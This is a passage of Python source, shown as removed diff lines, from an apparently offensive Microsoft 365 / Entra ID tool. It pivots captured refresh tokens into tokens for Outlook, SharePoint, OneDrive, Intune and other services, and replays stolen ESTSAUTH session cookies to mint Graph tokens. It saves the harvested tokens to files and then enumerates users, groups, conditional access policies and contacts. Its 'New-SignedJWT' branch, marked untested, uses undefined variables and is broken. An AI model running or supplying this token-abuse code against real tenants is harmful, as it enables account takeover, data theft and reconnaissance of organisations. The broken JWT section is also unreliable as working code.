- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Office Apps token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtoofficemanagementtoken
- elif args.command and args.command.lower() == "invoke-refreshtoofficemanagementtoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToOfficeManagementToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2"
- refresh_token = access_token
- resource = "https://manage.office.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "officemanagement_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Office Management token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtooutlooktoken
- elif args.command and args.command.lower() == "invoke-refreshtooutlooktoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToOutlookToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- resource = "https://outlook.office365.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "outlook_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Outlook token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtosubstratetoken
- elif args.command and args.command.lower() == "invoke-refreshtosubstratetoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToSubstrateToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- resource = "https://substrate.office.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "substrate_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Substrate token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtoyammertoken
- elif args.command and args.command.lower() == "invoke-refreshtoyammertoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToYammerToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- resource = "https://www.yammer.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "yammer_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Yammer token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtointuneenrollmenttoken
- elif args.command and args.command.lower() == "invoke-refreshtointuneenrollmenttoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToIntuneEnrollment")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- resource = "https://enrollment.manage.microsoft.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "intune_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtoonedrivetoken
- elif args.command and args.command.lower() == "invoke-refreshtoonedrivetoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToOneDriveToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763"
- refresh_token = access_token
- resource = "https://officeapps.live.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "onedrive_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get OneDrive token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtosharepointtoken
- elif args.command and args.command.lower() == "invoke-refreshtosharepointtoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToSharePointToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763"
- refresh_token = access_token
-
- try:
- sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip()
- use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes'
- admin_suffix = '-admin' if use_admin else ''
-
- except KeyboardInterrupt:
- sys.exit()
-
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": "openid"
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("\n[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "sharepoint_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get SharePoint token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-certtoaccesstoken
- elif args.command and args.command.lower() == "invoke-certtoaccesstoken":
- if not args.tenant or not args.cert or not args.id:
- print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command")
- return
-
- print_yellow("\n[*] Invoke-CertToAccessToken")
- print("=" * 80)
- tenant_id = args.tenant
- client_id = args.id
- cert_path = args.cert
-
- try:
- audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
- with open(cert_path, 'rb') as cert_file:
- pfx_data = cert_file.read()
-
- private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend())
- # calculate x5t (X.509 cert SHA-1 thumbprint)
- fingerprint = certificate.fingerprint(hashes.SHA1())
- x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii')
-
- payload = {
- 'sub': client_id,
- 'nbf': datetime.now(timezone.utc),
- 'exp': datetime.now(timezone.utc) + timedelta(minutes=120),
- 'iat': datetime.now(timezone.utc),
- 'iss': client_id,
- 'aud': audience
- }
-
- private_key_pem = private_key.private_bytes(
- encoding=serialization.Encoding.PEM,
- format=serialization.PrivateFormat.TraditionalOpenSSL,
- encryption_algorithm=serialization.NoEncryption()
- )
-
- jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t})
- user_agent = get_user_agent(args)
- headers = {
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'User-Agent': user_agent
- }
-
- data = {
- 'grant_type': 'client_credentials',
- 'client_id': client_id,
- 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',
- 'client_assertion': jwt_token,
- 'scope': 'https://graph.microsoft.com/.default'
- }
-
- try:
- response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data)
- response.raise_for_status()
-
- print_green("[+] Token Obtained!\n")
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "cert_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get certificate access token: {str(e)}")
- print_red(response.text)
-
- except Exception as e:
- print_red(f"[-] Error loading .pfx file: {str(e)}")
- print("=" * 80)
-
- # invoke-estscookietoaccesstoken
- elif args.command and args.command.lower() == "invoke-estscookietoaccesstoken":
- if not args.tenant or not args.estsauthcookie:
- print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command")
- return
-
- print_yellow("\n[*] Invoke-ESTSCookieToAccessToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
-
- try:
- client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip()
- if client == "":
- client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
- print("Using Default Client: MSTeams")
- elif client == "MSTeams":
- client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
- elif client == "MSEdge":
- client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a"
- elif client == "AzurePowerShell":
- client_id = "1950a258-227b-4e31-a9cf-717495945fc2"
- else:
- print_red(f"[-] Invalid client: {client}")
- print("=" * 80)
- sys.exit()
-
- except KeyboardInterrupt:
- sys.exit()
-
- print()
- resource = "https://graph.microsoft.com/"
-
- headers = {
- "User-Agent": user_agent
- }
-
- ests_auth_cookie = get_access_token(args.estsauthcookie)
- session = requests.Session()
-
- if ests_auth_cookie.startswith("ESTSAUTH="):
- session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com")
- elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="):
- session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com")
- else:
- print_red("[-] Invalid ESTS cookie format")
- print("=" * 80)
- sys.exit()
-
- state = str(uuid.uuid4())
- redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient"
- auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}"
-
- response = session.get(auth_url, headers=headers, allow_redirects=False)
-
- if response.status_code == 302:
- location = response.headers['Location']
- parsed_url = urlparse(location)
- query_params = parse_qs(parsed_url.query)
-
- if 'code' in query_params:
- refresh_token = query_params['code'][0]
- else:
- print_red("[-] Code not found in redirected URL path")
- print_red(f" Requested URL: {auth_url}")
- print_red(f" Response Code: {response.status_code}")
- print_red(f" Response URI: {location}")
- print("=" * 80)
- return None
- else:
- print_red("[-] Expected 302 redirect but received other status")
- print_red(f"[-] Requested URL: {auth_url}")
- print_red(f"[-] Response Code: {response.status_code}")
- print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid")
- print("=" * 80)
- return None
-
- if refresh_token:
- token_url = "https://login.microsoftonline.com/common/oauth2/token"
- body = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "authorization_code",
- "redirect_uri": redirect_uri,
- "code": refresh_token,
- "scope": "openid"
- }
-
- token_response = session.post(token_url, headers=headers, data=body)
- token_response_json = token_response.json()
- access_token = token_response_json.get('access_token')
-
- if access_token:
- #print_green(access_token)
- print_green("[+] Token Obtained!\n")
- for key, value in token_response_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "estscookie_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_response_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
- print_green(f"\n[+] Token information written to '{file_path}'.")
- print("=" * 80)
- else:
- print_red("[-] Failed to obtain access token.")
- print("=" * 80)
- return None
- else:
- print_red("[-] Refresh token is missing.")
- print("=" * 80)
- return None
-
- # invoke-appsecrettoaccesstoken
- elif args.command and args.command.lower() == "invoke-appsecrettoaccesstoken":
- if not args.tenant or not args.id or not args.secret:
- print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command")
- return
-
- print_yellow("\n[*] Invoke-AppSecretToAccessToken")
- print("=" * 80)
-
- tenant_id = args.tenant
- client_id = args.id
- client_secret = args.secret
-
- token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
- token_data = {
- 'grant_type': 'client_credentials',
- 'client_id': client_id,
- 'client_secret': client_secret,
- 'scope': 'https://graph.microsoft.com/.default'
- }
-
- # check cae for client_credential grants
-
- user_agent = get_user_agent(args)
- headers = {
- "User-Agent": user_agent
- }
-
- try:
- token_response = requests.post(token_url, data=token_data, headers=headers)
- token_response.raise_for_status()
- token_json = token_response.json()
-
- print_green("[+] Token Obtained!\n")
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "appsecret_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get app secret token: {str(e)}")
- if 'token_response' in locals():
- print_red(token_response.text)
-
- print("=" * 80)
-
- # new-signedjwt
- # NEED TO TEST
- elif args.command and args.command.lower() == "new-signedjwt":
- if not args.tenant or not args.cert or not args.id:
- print_red("[-] Error: --tenant, --id, and --query arguments are required for Invoke-CertToAccessToken command")
- # SharpGraphView.exe New-SignedJWT -id -tenant -query -token -key
- return
-
- # cert details
- kv_uri = f"{kvURI}/certificates?api-version=7.3"
-
- headers = {
- "Authorization": f"Bearer {accessToken}"
- }
-
- response = requests.get(kv_uri, headers=headers)
- response.raise_for_status()
-
- certs = response.json()
- cert_uri = next((c for c in certs['value'] if keyName in c['id']), None)
-
- if not cert_uri:
- raise Exception("Certificate not found.")
-
- cert_id = cert_uri['id']
- cert_uri_with_version = f"{cert_id}?api-version=7.3"
-
- response = requests.get(cert_uri_with_version, headers=headers)
- response.raise_for_status()
-
- certificate = response.json()
- x5t = certificate.get('x5t')
- kid = certificate.get('kid')
-
- print_green("\n[+] Certificate Details Obtained!")
- print(f"kid: {kid or 'N/A'}")
- print(f"x5t: {x5t or 'N/A'}")
-
- # create JWT
- print_green("\n[+] Forged JWT:")
- app_id = id
- audience = f"https://login.microsoftonline.com/{tenant}/oauth2/token"
-
- now = datetime.utcnow()
- jwt_expiration = int((now + timedelta(minutes=2)).timestamp())
- not_before = int(now.timestamp())
-
- jwt_header = {
- "x5t": x5t,
- "typ": "JWT",
- "alg": "RS256"
- }
-
- jwt_payload = {
- "exp": jwt_expiration,
- "sub": app_id,
- "nbf": not_before,
- "jti": str(uuid.uuid4()),
- "aud": audience,
- "iss": app_id
- }
-
- unsigned_jwt = jwt.encode(jwt_payload, None, algorithm=None, headers=jwt_header).split('.', 2)[:2]
- unsigned_jwt = '.'.join(unsigned_jwt)
-
- jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest()
- jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=')
-
- # sign JWT
- new_uri = f"{kid}/sign?api-version=7.3"
- user_agent = get_user_agent(args)
- headers = {
- "Authorization": f"Bearer {accessToken}",
- "Accept": "application/json",
- "User-Agent": user_agent
- }
- request_body = {
- "alg": "RS256",
- "value": jwt_sha256_hash_b64
- }
-
- response = requests.post(new_uri, headers=headers, json=request_body)
- response.raise_for_status()
- signature = response.json()['value']
-
- signed_jwt = f"{unsigned_jwt}.{signature}"
- print(signed_jwt)
-
- # request azure management token
- jwt_login = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
-
- parameters = {
- "client_id": id,
- "client_assertion": signed_jwt,
- "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
- "scope": "https://management.azure.com/.default",
- "grant_type": "client_credentials"
- }
-
- response = requests.post(jwt_login, data=parameters)
-
- if not response.ok:
- print(f"[-] Error: {response.status_code} ({response.reason}). {response.text}")
- else:
- print_green("\n[+] Azure Management Token Obtained!")
- print(f"[*] Application ID: {id}")
- print(f"[*] Tenant ID: {tenant}")
- print("[*] Scope: https://management.azure.com/.default")
-
- response_json = response.json()
- for key, value in response_json.items():
- print(f"[*] {key}: {value}")
-
-
- ##########################
- # Post-Auth Enuemeration #
- ##########################
-
- # get-currentuser
- elif args.command and args.command.lower() == "get-currentuser":
- print_yellow("\n[*] Get-CurrentUser")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me"
-
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
-
- for key, value in response_json.items():
- if key != "@odata.context":
- print(f"{key}: {value}")
-
- else:
- print_red(f"[-] Failed to retrieve current user: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-currentuseractivities
- elif args.command and args.command.lower() == "get-currentuseractivities":
- print_yellow("\n[*] Get-CurrentUserActivity")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/activities"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-orginfo
- elif args.command and args.command.lower() == "get-orginfo":
- print_yellow("\n[*] Get-OrgInfo")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/organization"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-domains
- elif args.command and args.command.lower() == "get-domains":
- print_yellow("\n[*] Get-Domains")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/domains"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-user
- elif args.command and args.command.lower() == "get-user":
- print_yellow("\n[*] Get-User")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/users"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
- if args.id:
- for key, value in response_json.items():
- if key != "@odata.context":
- print(f"{key}: {value}")
- else:
- if 'value' in response_json:
- for user in response_json['value']:
- for key, value in user.items():
- print(f"{key}: {value}")
- print()
- else:
- print_red("[-] No users found or unexpected response format")
- else:
- print_red(f"[-] Failed to retrieve user(s): {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-userproperties
- if args.command and args.command.lower() == "get-userproperties":
- print_yellow("\n[*] Get-UserProperties")
- print("=" * 80)
- for p in properties:
- if not args.id:
- api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}"
- else:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}"
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
-
- if response.status_code == 200:
- response_json = response.json()
- print(f"{p}: {response_json.get(p, 'N/A')}")
- else:
- print_red(f"[-] Failed to retrieve {p}: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-usergroupmembership
- elif args.command and args.command.lower() == "get-usergroupmembership":
- print_yellow("\n[*] Get-UserGroupMembership")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/memberOf"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-usertransitivegroupmembership
- elif args.command and args.command.lower() == "get-usertransitivegroupmembership":
- print_yellow("\n[*] Get-UserTransitiveGroupMembership")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-group
- elif args.command and args.command.lower() == "get-group":
- print_yellow("\n[*] Get-Group")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/groups"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
- if args.id:
- for key, value in response_json.items():
- if key != "@odata.context":
- print(f"{key}: {value}")
- else:
- if 'value' in response_json:
- for user in response_json['value']:
- for key, value in user.items():
- print(f"{key}: {value}")
- print()
- else:
- print_red("[-] No users found or unexpected response format")
- else:
- print_red(f"[-] Failed to retrieve user(s): {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-groupmember
- elif args.command and args.command.lower() == "get-groupmember":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-GroupMember command")
- return
- print_yellow("\n[*] Get-GroupMember")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members"
- if args.select:
- api_url += f"?$select={args.select}"
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
- if 'value' in response_json and response_json['value']:
- for item in response_json['value']:
- for key, value in item.items():
- if key != "@odata.type":
- if isinstance(value, list):
- print(f"{key} :")
- for list_item in value:
- print(f" - {list_item}")
- elif isinstance(value, dict):
- print(f"{key} :")
- for sub_key, sub_value in value.items():
- print(f" {sub_key} : {sub_value}")
- else:
- print(f"{key} : {value}")
- print("\n")
- else:
- print_red("[-] Error: No members found in this group")
- else:
- print_red(f"[-] Failed to retrieve group members: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-approleassignments
- elif args.command and args.command.lower() == "get-approleassignments":
- print_yellow("\n[*] Get-AppRoleAssignments")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments"
- if args.id:
- api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-conditionalaccesspolicy
- elif args.command and args.command.lower() == "get-conditionalaccesspolicy":
- if not args.id:
- print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command")
- return
-
- print_yellow("\n[*] Get-ConditionalAccessPolicy")
- print("=" * 80)
- api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}"
- if args.select:
- api_url += "?$select=" + args.select
-
- user_agent = get_user_agent(args)
- headers = {
- 'Authorization': f'Bearer {access_token}',
- 'User-Agent': user_agent
- }
-
- response = requests.get(api_url, headers=headers)
- if response.status_code == 200:
- response_json = response.json()
-
- for key, value in response_json.items():
- if key != "@odata.context":
- print(f"{key}: {value}")
-
- else:
- print_red(f"[-] Failed to retrieve CAP: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # get-personalcontacts
- elif args.command and args.command.lower() == "get-personalcontacts":
- print_yellow("\n[*] Get-PersonalContacts")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/me/contacts"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-crosstenantaccesspolicy
- elif args.command and args.command.lower() == "get-crosstenantaccesspolicy":
- print_yellow("\n[*] Get-CrossTenantAccessPolicy")
- print("=" * 80)
- api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy"
- if args.id:
- api_url += f"/{args.id}"
- if args.select:
- api_url += "?$select=" + args.select
-
- graph_api_get(access_token, api_url, args)
- print("=" * 80)
-
- # get-partnercrosstenantaccesspolicy
- elif args.command and args.command.lower() == "get-partnercrosstenantaccesspolicy":
- print_yellow("\n[*] Get-PartnerCrossTenantAccessPolicy")
- print("=" * 80)
